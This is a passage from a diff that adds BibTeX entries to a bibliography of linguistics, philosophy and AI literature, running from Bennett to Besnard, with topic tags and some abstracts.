manuscript, Philosophy Department, University + of Pittsburgh}, + topic = {nl-semantics;Montague-grammar;} + } + +@book{ bennett_mr-partee:1978a, + author = {Michael R. Bennett and Barbara H. Partee}, + title = {Toward the Logic of Tense and Aspect in {E}nglish}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {nl-semantics;tense-aspect;} + } + +@book{ bennett_mr:1979a, + author = {Michael R. Bennett}, + title = {Questions in {M}ontague Grammar}, + publisher = {Indiana University Linguistics Club}, + year = {1979}, + address = {310 Lindley Hall, Indiana University, Bloomington, + Indiana 46405}, + topic = {interrogatives;montague-grammar;} + } + +@article{ bennett_mr:1980a, + author = {Michael R. Bennett}, + title = {Review of {\it Formal Semantics of Natural Language,} + edited by {E}dward {L}. {K}eenan}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {2}, + pages = {103--132}, + topic = {nl-semantics;} + } + +@book{ bennett_p:1995a, + author = {Paul Bennett}, + title = {A Course in Generalized Phrase Structure Grammar}, + publisher = {UCL Press}, + year = {1995}, + address = {London}, + topic = {GPSG;} + } + +@incollection{ bennett_sw-etal:1997a, + author = {Scott W. Bennett and Chinatsu Aone and Craig Lovell}, + title = {Learning to Tag Multilingual Texts through Observation}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {109--116}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;text-skimming;machine-learning; + multilingual-corpora;} + } + +@article{ bennett_ws-etal:1989a, + author = {Wilfield S. Bennet and Tanya Herlick and Katerine Hoyt and Joseph + Liro and Ana Santisteban}, + title = {Toward a Computational Model of Aspect and Verb Semantics}, + journal = {Machine Translation}, + year = {1989}, + volume = {4}, + number = {4}, + pages = {247--280}, + topic = {temporal-reasoning;tense-aspect;machine-translation;} + } + +@incollection{ bensaou-guessarian:1994a, + author = {N. Bensaou and Irhne Guessarian}, + title = {An Extended Transformation + System for {CLP} Programs}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {17--35}, + address = {Berlin}, + topic = {logic-programming;} + } + +@inproceedings{ benshalom:1993a, + author = {Dirit Ben-Shalom}, + title = {Object Wide Scope and Semantic Trees}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {III}}, + year = {1993}, + editor = {Utpal Lahiri and Zachary Wyner}, + pages = {19--37}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-quantifier-scope;} + } + +@book{ bentham:1789a, + author = {Jeremy Bentham}, + title = {Introduction to the Principles of + Morals and Legislation}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1789}, + topic = {ethics;political-philosophy;utilitarianism;} + } + +@book{ bentham:1823a, + author = {Jeremy Bentham}, + title = {Principles of Morals and Legislation}, + publisher = {Oxford University Press}, + year = {1823}, + address = {Oxford}, + note = {Originally published in 1789.}, + topic = {utilitarianism;} + } + +@book{ benzeev:2000a, + author = {Aaron Ben-Ze'ev}, + title = {The Subtlety of Emotions}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-02463-2}, + topic = {emotion;} + } + +@article{ berckmans:1993a, + author = {Paul Berckmans}, + title = {The Quantifier Theory of `Even'\, } , + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {6}, + pages = {589--611}, + topic = {`even';} + } + +@article{ berg:1988a, + author = {Jonathan Berg}, + title = {The Pragmatics of Substitutivity}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {3}, + pages = {355--370}, + topic = {referential-opacity;pragmatics;} + } + +@article{ berg:1991a, + author = {Jonathan Berg}, + title = {The Relevant Relevance}, + journal = {Journal of Pragmatics}, + year = {1991}, + volume = {16}, + pages = {411--425}, + missinginfo = {number}, + topic = {relevance;implicature;} + } + +@inproceedings{ bergamaschi-etal:1992a, + author = {Sonia Bergamaschi and Stefano Lodi and Claudio Sartori}, + title = {Representational Extensions of {DL}s}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in + Description Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {11--18}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;extensions-of-kl1;relational-reasoning; + taxonomic-logics;} + } + +@article{ berger_a1-etal:1996a, + author = {Adam L. Berger and Stephen A. Della Pietra and Vincent J. + Della Pietra}, + title = {A Maximum Entropy Approach to Natural Language Processing}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {1}, + pages = {39--71}, + topic = {statistical-nlp;} + } + +@article{ berger_a2:2002a, + author = {Alan Berger}, + title = {A Formal Semantics for Plural Quantification, + Intersentential Binding and Anaphoric Pronouns as + Rigid Designators}, + journal = {No\^us}, + year = {2002}, + volume = {36}, + number = {1}, + pages = {50--74}, + topic = {nl-semantics;plural;nl-quantifiers;} + } + +@article{ berger_j:1996a, + author = {Jonathan Berger}, + title = {Review of {\it Computers and Musical Style}, by {D}avid {C}ope}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {79}, + number = {2}, + pages = {343--348}, + xref = {Review of: cope:1991a.}, + topic = {AI-and-music;} + } + +@book{ berger_jo:1985a, + author = {James O. Berger}, + title = {Statistical Decision Theory and Bayesian Analysis}, + publisher = {Springer-Verlag}, + year = {1985}, + edition = {second}, + address = {New York}, + topic = {decision-theory;} + } + +@book{ berger_pl-luckmann:1966a, + author = {Peter L. Berger and Thomas Luckmann}, + title = {The Social Construction of Reality: A Treatise in the + Sociology of Knowledge}, + publisher = {Doubleday}, + year = {1966}, + address = {Garden City, New York}, + ISBN = {0226069311}, + topic = {sociology-of-knowledge;} + } + +@unpublished{ berglas:1995a, + author = {Anthony Berglas}, + title = {Beyond Shortest Path Defaults}, + year = {1995}, + note = {Unpublished manuscript, Computer Science Department, + University of Brisbane.}, + topic = {inheritance-theory;} + } + +@incollection{ bergler:1995a, + author = {Sabine Bergler}, + title = {From Lexical Semantics to Text Analysis}, + booktitle = {Computational Lexical Semantics}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + publisher = {Cambridge University Press}, + pages = {98--124}, + address = {Cambridge, England}, + topic = {lexical-semantics;nl-interpretation;} + } + +@article{ bergman_g:1960a, + author = {Gustav Bergman}, + title = {Ineffability, Ontology, and Methods}, + journal = {The Philosophical Review}, + year = {1960}, + volume = {69}, + number = {1}, + pages = {18--40}, + topic = {philosophical-ontology;} + } + +@article{ bergman_m1:1977a, + author = {Merrie Bergman}, + title = {Logic and Sortal Incorrectness}, + journal = {Review of Metaphysics}, + year = {1977}, + volume = {31}, + number = {1}, + pages = {27--53}, + topic = {sortal-incorrectness;} + } + +@article{ bergman_m1:1979a, + author = {Merrie Bergman}, + title = {Metaphor and Formal Semantic Theory}, + journal = {Metaphor and Formal Semantic Theory}, + year = {1979}, + volume = {8}, + pages = {213--230}, + topic = {metaphor;sortal-incorrectness;} + } + +@article{ bergman_m1:1981a, + author = {Merrie Bergman}, + title = {Presupposition and Two-Dimensional Logic}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {1}, + pages = {27--53}, + topic = {presupposition;pragmatics;} + } + +@article{ bergman_m1:1982a, + author = {Merrie Bergman}, + title = {Cross-Categorial Semantics for Conjoined Noun Phrases}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {3}, + pages = {399--401}, + topic = {coordination;nl-semantics;} + } + +@article{ bergman_m2:1999a, + author = {Michael Bergman}, + title = {(Serious) Actualism and (Serious) Presentism}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {3}, + pages = {118--132}, + topic = {actualism;} + } + +@incollection{ bergmann-wilke:1998a, + author = {Ralph Bergmann and Wolfgang Wilke}, + title = {Towards a New Formal Model of Transformational + Adaptation in Case-Based Reasoning}, + booktitle = {{ECAI}98, Thirteenth European Conference on + Artificial Intelligence}, + publisher = {John Wiley and Sons}, + year = {1998}, + editor = {Henri Prade}, + pages = {53--57}, + address = {Chichester}, + topic = {case-based-reasoning;} + } + +@book{ bergstra-etal:1989a, + editor = {J.A. Bergstra and J. Heering and P. Klint}, + title = {Algebraic Specification}, + publisher = {Addison-Wesley}, + year = {1989}, + address = {New York}, + ISBN = {0201416352}, + topic = {abstract-data-types;} + } + +@book{ bergstrom:1966a, + author = {Lars Bergstr\"om}, + title = {Alternatives and Consequences of Actions}, + publisher = {Almqvist and Wiksell}, + year = {1966}, + address = {Stockholm}, + topic = {action;} + } + +@article{ bergstrom:1971a, + author = {Lars Bergstr{\"o}m}, + title = {Utilitarianism and Alternative Actions}, + journal = {No\^us}, + year = {1971}, + volume = {5}, + pages = {237--252}, + topic = {utilitarianism;} + } + +@article{ bergstrom:1977a, + author = {Lars Bergstr{\"o}m}, + title = {Utilitarianism and Future Mistakes}, + journal = {Theoria}, + year = {1977}, + volume = {43}, + pages = {84--102}, + topic = {utilitarianism;practical-reasoning;} + } + +@article{ berleant-kuipers_bj:1997a, + author = {Daniel Berleant and Benjamin J. Kuipers}, + title = {Qualitative and Quantitative Simulation: Bridging the Gap}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {95}, + number = {2}, + pages = {215--255}, + topic = {qualitative-reasoning;qualitative-modeling; + combined-qualitative-and-quantitative-reasoning;} + } + +@book{ berlin_b-kay:1969a, + author = {Brent Berlin and Paul Kay}, + title = {Basic Color Terms: Their Universality and Evolution}, + publisher = {University of California Press}, + year = {1969}, + address = {Los Angeles}, + xref = {Review: hickerson:1971a.}, + topic = {color-terms;cultural-anthropology;} + } + +@article{ berlin_d:1984a, + author = {Daniel Berlin}, + title = {Review of {\ it Planning and Understanding: A + Computational Approach to Human Reasoning}, by {R}obert + {W}ilensky}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {23}, + number = {2}, + pages = {242--244}, + xref = {Review of wilensky:1983a.}, + topic = {planning;nl-interpretation;plan-recognition;} + } + +@incollection{ berlin_i:1973a, + author = {Isaiah Berlin}, + title = {Austin and the Early Beginnings of {O}xford Philosophy}, + booktitle = {Essays on J.L. Austin}, + publisher = {Oxford University Press}, + year = {1973}, + editor = {Isiah Berlin et al.}, + pages = {1--16}, + address = {Oxford}, + missinginfo = {Other editors}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@book{ berlin_i-etal:1973a, + author = {Isiah Berlin and L.W. Forguson and David F. Pears and + George Pitcher and John R. Searle and Peter F. Strawson + and G.J. Warnock}, + title = {Essays on J.L. Austin}, + publisher = {Oxford University Press}, + year = {1973}, + address = {Oxford}, + missinginfo = {A's 1st name, number}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@article{ berliner:1978a, + author = {Hans J. Berliner}, + title = {A Chronology of Computer Chess and its Literature}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {10}, + number = {2}, + pages = {201--214}, + topic = {game-playing;} + } + +@article{ berliner:1979a1, + author = {Hans Berliner}, + title = {The B* Tree Search Algorithm: A Best-First + Procedure}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {12}, + number = {1}, + pages = {23--40}, + xref = {Republication: berliner:1979a2.}, + topic = {search;} + } + +@incollection{ berliner:1979a2, + author = {Hans Berliner}, + title = {The B* Tree Search Algorithm: A Best-First + Procedure}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {79--87}, + address = {Los Altos, California}, + xref = {Journal Publication: berliner:1979a1.}, + topic = {search;} + } + +@article{ berliner:1980a, + author = {Hans J. Berliner}, + title = {Backgammon Computer Program Beats World Champion}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {14}, + number = {2}, + pages = {205--220}, + topic = {game-playing;} + } + +@article{ berliner-campbell:1984a, + author = {Hans Berliner and Murray Campbell}, + title = {Using Chunking to Solve Chess Pawn Endgames}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {23}, + number = {1}, + pages = {97--120}, + topic = {game-playing;computer-chess;} + } + +@article{ berliner-ebeling:1989a, + author = {Hans Berliner and Carl Ebeling}, + title = {Pattern Knowledge and Search: The {SUPREM} Architecture}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {2}, + pages = {161--198}, + acontentnote = {Abstract: + We present a new problem solving architecture based upon + extremely fast search and pattern recognition. This + architecture, which we have named SUPREM, has been implemented + in the chess machine/program Hitech, and has proven to be very + successful. We describe the implementation in Hitech and the + reasons for its success, and compare the SUPREM architecture to + other well-known problem solving architectures. + Certain interesting phenomena have become exposed as the result + of our work with Hitech. The most important of these is that: + ``The further a process can look ahead, the less detailed + knowledge it needs''. We have also found that patterns can be + formulated for quite complex problems in relatively small + pattern recognizers, by eschewing generality and concentrating + on likely patterns and their redundancies.}, + topic = {search;pattern-recognition;computer-chess;problem-solving; + problem-solving-architectures;} + } + +@article{ berliner-beal:1990a, + author = {Hans J. Berliner and Don F. Beal}, + title = {Introduction}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {1}, + contentnote = {Intro to a special issue on game playing.}, + pages = {1--5}, + topic = {game-playing;} + } + +@article{ berliner-etal:1990a, + author = {Hans J. Berliner and Gordon Goetsch and Murray S. Campbell and + Carl Ebeling}, + title = {Measuring The Performance Potential Of Chess Programs}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {1}, + pages = {7--20}, + topic = {game-playing;computer-chess;} + } + +@article{ berliner-mcconnell:1996a, + author = {Hans J. Berliner and Chris McConnell}, + title = {B Probability Based Search[*]}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {86}, + number = {1}, + pages = {97--156}, + acontentnote = {Abstract: + We describe a search algorithm for two-player games that relies + on selectivity rather than brute-force to achieve success. The + key ideas behind the algorithm are: + (1) stopping when one alternative is clearly better than all + the others, and + (2) focusing the search on the place where the most progress + can likely be made toward stopping. + Critical to this process is identifying uncertainty about the + ultimate value of any move. The lower bound on uncertainty is + the best estimate of the real value of a move. The upper bound + is its optimistic value, based on some measure of unexplored + potential. This provides an + I-have-optimism-that-needs-to-be-investigated attitude that is + an excellent guiding force. Uncertainty is represented by + probability distributions. The search develops those parts of + the tree where moving existing bounds would be most likely to + succeed and would make the most progress toward terminating the + search. Termination is achieved when the established real value + of the best move is so good that the likelihood of this being + achieved by any other alternative is minimal. + The B* probability based search algorithm has been implemented + on the chess machine Hitech. En route we have developed + effective techniques for: + -- producing viable optimistic estimates to guide the search, + -- producing cheap probability distribution estimates to measure + goodness, + -- dealing with independence of alternative moves, and + -- dealing with the graph history interaction problem. + The report describes the implementation, and the results of + tests including games played against brute-force programs. Test + data indicate that B* Hitech is better than any searcher that + expands its whole tree based on selectivity. Further, analysis + of the data indicates that should additional power become + available, the B* technique will scale up considerably better + than brute-force techniques. } , + topic = {probabilistic-algorithms;search;computer-chess;} + } + +@incollection{ berman_dh-hafner:1986a, + author = {Donald H. Berman and Carole D. Hafner}, + year = {1986}, + title = {Obstacles to the Development of Logic-Based Models of + Legal Reasoning}, + booktitle = {Computer Power and Legal Language}, + publisher = {Quorum Books}, + editor = {Charles Walter}, + pages = {185--214}, + address = {New York}, + topic = {legal-reasoning;} + } + +@inproceedings{ berman_pj-etal:1989a, + author = {P.J. Berman and J. Garray and J. Perry}, + title = {Towards Optimal Distributed Consensus}, + booktitle = {Proceedings of the Thirtieth {IEEE} Symposium on Foundations + of Computer Science}, + year = {1989}, + pages = {410--415}, + organization = {IEEE}, + missinginfo = {A's 1st names, editor, address}, + topic = {distributed-systems;artificial-societies;mutual-belief;} + } + +@book{ berman_sr-etal:1985a, + editor = {Stephen R. Berman and J-W. Choe and J. McDonough}, + title = {{NELS 15}: Proceedings of the Fifteenth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + publisher = {GLSA Publications}, + year = {1985}, + address = {Amherst, Massachusetts}, + note = {URL FOR GLSA Publications: + http://www.umass.edu/linguist/glsa-pubs.html.}, + topic = {linguistics-proceedings;nl-syntax;nl-semantics;} + } + +@book{ berman_sr-etal:1986a, + editor = {Stephen R. Berman and J-W. Choe and Joyce McDonough}, + title = {{NELS 16}: Proceedings of the Sixteenth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + publisher = {GLSA Publications}, + year = {1986}, + address = {Amherst, Massachusetts}, + note = {URL FOR GLSA Publications: + http://www.umass.edu/linguist/glsa-pubs.html.}, + contentnote = {TC: + 1. S. Abney & J. Cole, "A government-binding parameter" + 2. J. Aoun, "Bound pronouns in Chinese" + 3. D. Archangeli, "The OCP and Nyangumarda buffer vowels" + 4. G. A. Broadwell, "A-bar anaphora and relative clauses" + 5. G. Chierchia & P. Jacobson, "Local and long distance control" + 6. H.-S. Choe, "An {SVO} analysis of {VSO} languages and + parameterization: a study of {B}erber" + 7. S. Crain & C. McKee, "Acquisition of structural restrictions + on anaphora" + 8. H. Davis, "Syntactic undergeneration in the acquisition of + English: Wh-questions and the ECP" + 9. A. M. Di Sciullo & E. S. Williams, "Noun incorporation vs. + cliticization" + 10. W. N. Elliott & K. Wexler, "A principled theory of categorial + acquisition" + 11. D. L. Finer & E. I. Broselow, "Second language acquisition of + reflexive binding" + 12. A. Giorgi, "The proper notion of c-command and the binding + theory: evidence from NPs" + 13. P. Gorrell, "Natural language parsing and reanalysis" + 14. I. Haik, "Pronouns of laziness" + 15. C. K. Kamprath, "The syllabification of consonantal glides: + post peak distinctions" + 16. M. Kenstowicz, "Multiple linking in Javanese" + 17. Y. Kitagawa, "Barriers to government" + 18. R. Kluender, "SATZCHEN: German small clauses as S's" + 19. R. Lieber, "Quirky mutations in an autosegmental framework" + 20. D. Lillo-Martin, "Effects of the acquisition of morphology on + syntactic parameter setting" + 21. M. R. Manzini, "On control and binding theory" + 22. C. Paradis, "Les marquers de classe en Pulaar (Fula): strates + et syllabes" + 23. B. H. Partee, "Ambiguous pseudoclefts with unambiguous be" + 24. E. J. Reuland, "Constraining the relation between morphology + and syntax" + 25. Y. Roberge, "On doubling and null argument languages" + 26. K. Safir, "On implicit arguments and thematic structure" + 27. D. Schlindwein, "Tier alignment in reduplication" + 28. P. Sells, "Coreference and bound anaphora: a restatement of facts" + 29. U. Shlonsky & M. Sigler, "Unexceptional exceptional case marking" + 30. R. Sproat, "The projection principle and the syntax of + synthetic compounds" + 31. T. Stowell, "Null antecedents and proper government" + } , + topic = {linguistics-proceedings;nl-syntax;nl-semantics;} + } + +@incollection{ berman_sr:1987a, + author = {Stephen R. Berman}, + title = {Situation-based Semantics for Adverbs of Quantification}, + booktitle = {Studies in Semantics}, + editor = {James Blevins and Anne Vainikka}, + series = {U. Mass Occasional Papers in Linguistics 12}, + year = {1987}, + topic = {situation-semantics;nl-quantifiers;} + } + +@book{ bermudez:1995a, + editor = {J.L. Bermudez and A.J. Marcel and N. Eilan}, + title = {The Body and the Self}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massacusetts}, + topic = {philosophy-of-mind;consciousness;} + } + +@book{ bermudez:1998a, + author = {J.L. Bermudez}, + title = {The Paradox of Self-Consciousness}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massacusetts}, + topic = {consciousness;} + } + +@article{ bernard-gouze:2002a, + author = {Oliver Bernard and Jean-Luc Gouz\'e}, + title = {Global Qualitative Description of a Class of Nonlinear + Dynamical Systems}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {136}, + number = {1}, + pages = {29--59}, + topic = {nonlinear-systems;qualitative-modeling;} + } + +@article{ bernardi-dagostino:1996a, + author = {Claudio Bernardi and Giovanna D'Agostino}, + title = {Translating the Hypergame Paradox: Remarks on the + Set of Founded Elements of a Relation}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {5}, + pages = {545--557}, + topic = {paradoxes;} + } + +@incollection{ bernsen:1989a, + author = {Niels Ole Bernsen}, + title = {General Introduction: A {E}uropean + Perspective on Cognitive Science}, + booktitle = {Logic and Linguistics}, + publisher = {Lawrence Earlbaum Associates}, + year = {1989}, + editor = {Helmut Schnelle and Niels Ole Bernsen}, + pages = {vii--xiv}, + address = {Hillsdale, New Jersey}, + topic = {cognitive-science-survey;} + } + +@book{ bernsen:1998a, + author = {Niels Ole Bernsen}, + title = {Designing Interactive Speech Systems: from First Ideas to + User Testing}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + ISBN = {3540760482 (acid-free paper)}, + topic = {computational-dialogue;} + } + +@incollection{ bernstein-wattenberg:1969a, + author = {A. Bernstein and F. Wattenberg}, + title = {Non-Standard Measure Theory}, + booktitle = {Applications of Model Theory of Algebra, Analysis and + Probability}, + publisher = {Holt, Rinehart and Winston}, + year = {1968}, + editor = {W.A.J. Luxemburg}, + pages = {171--185}, + address = {New York}, + missinginfo = {A's 1st name.}, + topic = {nonstandard-probability;} + } + +@article{ berovsky:1973a, + author = {Bernard Berovsky}, + title = {The Counterfactual Analysis of Causation}, + journal = {The Journal of Philosophy}, + year = {1973}, + volume = {70}, + number = {17}, + pages = {568--569}, + topic = {causality;conditionals;} + } + +@book{ bert-etal:1999a, + editor = {D. Bert and C. Choppy and P. Mosses}, + title = {Recent Trends in Algebraic Development Techniques: 14th + International Workshop, {WADT}'99, Chateau de Bonas}, + publisher = {Springer-Verlag}, + year = {1999}, + address = {Berlin}, + ISBN = {3-540-67898-0}, + topic = {abstract-data-types;} + } + +@unpublished{ berthiaume:1999a, + author = {Andr\'e Berthiaume}, + title = {Quantum Computation}, + year = {1999}, + note = {Unpublished manuscript, Centrum voor Wiskunde en + Informatica, Amsterdam.}, + topic = {quantum-computation;} + } + +@incollection{ berthouzoz:1999a, + author = {Cathy Berthouzoz}, + title = {A Model of Context Adapted to + Domain-Independent Machine Translation}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {54--66}, + address = {Berlin}, + topic = {context;machine-translation;} + } + +@book{ bertilsson:1978a, + author = {Margareta Bertilsson}, + title = {Towards a Social Reconstruction of Science Theory: + {P}eirce's Theory of Inquiry and Beyond}, + publisher = {Bokcafeet}, + year = {1978}, + address = {Lund}, + topic = {Peirce;sociology-of-science;} + } + +@book{ bertinetto-etal:1995a, + editor = {Pier M. Bertinetto and V. Bianchi and \"Osten Dahl and + M. Squartini}, + title = {Temporal Reference, Aspect, and Actuality}, + publisher = {Rosenberg and Sellier}, + year = {1995}, + address = {Torino}, + ISBN = {8870116379}, + missinginfo = {E's 1st names}, + topic = {tense-aspect;} + } + +@article{ bertolet:1983a, + author = {Rod Bertolet}, + title = {Where Do Implicatures Come From?}, + journal = {Canadian Journal of Philosophy}, + year = {1983}, + volume = {13}, + pages = {181--192}, + missinginfo = {number}, + topic = {implicature;} + } + +@article{ bertolet:1984a, + author = {Rod Bertolet}, + title = {Inferences, Names, and Fictions}, + journal = {Synth\'ese}, + year = {1984}, + volume = {58}, + number = {2}, + pages = {203--218}, + topic = {fiction;fictional-characters;} + } + +@inproceedings{ bertoli-etal:1998a, + author = {P.G. Bertoli and J. Calmet and Fausto Giunchiglia and + K. Homann}, + title = {Specification and Integration of + Theorem Provers and Computer Algebra Systems}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {94--106}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {combining-systems;automated-algebra;theorem-proving;} + } + +@article{ bertoni-dorigo:1993a, + author = {A. Bertoni and M. Dorigo}, + title = {Implicit Parallelism in Genetic Algorithms}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {2}, + pages = {307--314}, + acontentnote = {Abstract: + This paper is related to Holland's result on implicit + parallelism. Roughly speaking, Holland showed a lower bound of + the order of a n3/c13l to the number of schemata usefully + processed by the genetic algorithm in a population of n = c1 . + 2l binary strings, with c1 a small integer. We ananlyze the case + of a population of n = 2[beta]l binary strings where [beta] is a + positive parameter (Holland's result is related to the case + [beta] = 1). In the main result, we state a lower bound on the + expected number of processed schemata for all [beta] < 0; + moreover, we prove that this bound is tight up to a constant for + all [beta] >= 1 and, in this case, we strengthen in probability + the previous result. + } , + topic = {genetic-algorithms;} + } + +@incollection{ bertossi-reiter_r:1994a, + author = {Leopolo E. Bertossi and Raymond Reiter}, + title = {On the Concept of a Generic Object: A Nonmonotonic + Reasoning Approach and Examples}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {346--363}, + address = {Berlin}, + topic = {generics;nonmonotonic-reasoning;} + } + +@book{ berwick:1989a, + author = {Robert C. Berwick}, + title = {Computational Linguistics}, + publisher = {The {MIT} Press}, + year = {1989}, + address = {Cambridge, Massachusetts}, + ISBN = {0262-02266-4}, + topic = {nlp-intro;} + } + +@inproceedings{ berwick-epstein_sd:1995a, + author = {Robert C. Berwick and Samuel D. Epstein}, + title = {On the Convergence of `Minimalist' Syntax with + Categorial Grammar}, + booktitle = {{TWLT} 10: Algebraic Methods in Language + Processing}, + year = {1995}, + editor = {A. Nijholt and G. Scollo and R. Steetskamp}, + pages = {143--148}, + publisher = {Universiteit Twente}, + address = {Entschede}, + topic = {minimalist-syntax;categorial-grammar;} + } + +@article{ berzins:2001a, + author = {Martin Berzins}, + title = {Review of {\it The Computational Beauty of Nature} by {G}ary + {W}illiam {F}lake}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {128}, + number = {1--2}, + pages = {237--238}, + xref = {Review of: flake:1998a.}, + topic = {fractals;chaos-theory;computational-aesthetics;} + } + +@incollection{ berztiss:1999a, + author = {Alfs Berztiss}, + title = {Contexts, Domains, and Software}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {443--446}, + address = {Berlin}, + topic = {context;software-engineering;} + } + +@incollection{ bes-lecomte:1995a, + author = {Gabriel G. Bes and Alain Lecomte}, + title = {Semantic Features in a Generic Lexicon}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {141--162}, + address = {Cambridge, England}, + topic = {computational-lexical-semantics;thematic-roles; + argument-structure;} + } + +@article{ besnard-etal:1989a, + author = {Philippe Besnard and Yves Moinard and Robert E. Mercer}, + title = {The Importance of Open and Recursive Circumscription}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {39}, + number = {2}, + pages = {251--262}, + acontentnote = {Abstract: + Circumscription is known to result in an inconsistency when + applied to certain consistent theories. To counter this problem, + closed nonrecursive circumscription, a restricted form of + circumscription that has been proved not to affect the + consistency of the theory over which circumscription is applied, + has been proposed. We show that closed nonrecursive + circumscription involves an excessive weakening of standard + circumscription by establishing that closed nonrecursive + circumscription is incomplete for some crucial theories over + which standard circumscription is consistent and complete. + First, we prove that closed circumscription cannot yield the + desired uniqueness formula for the simplest of existential + theories. Second, we prove that nonrecursive circumscription + fails to be as strong as predicate completion for Horn clause + theories. Third, we prove that the natural way to strengthen + circumscription, that is, adding more variable predicates, may + weaken nonrecursive circumscription. } , + topic = {circumscription;nonmonotonic-logic;} + } + +@incollection{ besnard:1991a, + author = {Philippe Besnard}, + title = {Default Logics}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {38--41}, + address = {Berlin}, + topic = {default-logic;inheritance-theory;} + } + +@book{ besnard:1992a, + author = {Philippe Besnard}, + title = {Default Logic}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {Berlin}, + topic = {nonmonotonic-logic;default-logic;kr-course;} + } + +@inproceedings{ besnard-schwab:1993a, + author = {Phillipe Besnard and Torstein Schwab}, + title = {A Context-Based Framework for Default Logics}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + pages = {406--411}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;context;kr-course;} + } + +@book{ besnard-hanks:1995a, + editor = {Phillipe Besnard and Steve Hanks}, + title = {Uncertainty in Artificial Intelligence. Proceedings of + the Eleventh Conference (1995)}, + publisher = {Morgan Kaufmann Publishers}, + year = {1995}, + address = {San Francisco}, + topic = {reasoning-about-uncertainty;} + } + +@inproceedings{ besnard-tan_yh:1995a, + author = {Phillipe Besnard and Yao-Hua Tan}, + title = {A Modal Logic with Context-Dependent Inference for + Non-Monotonic Reasoning}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {31--38}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo 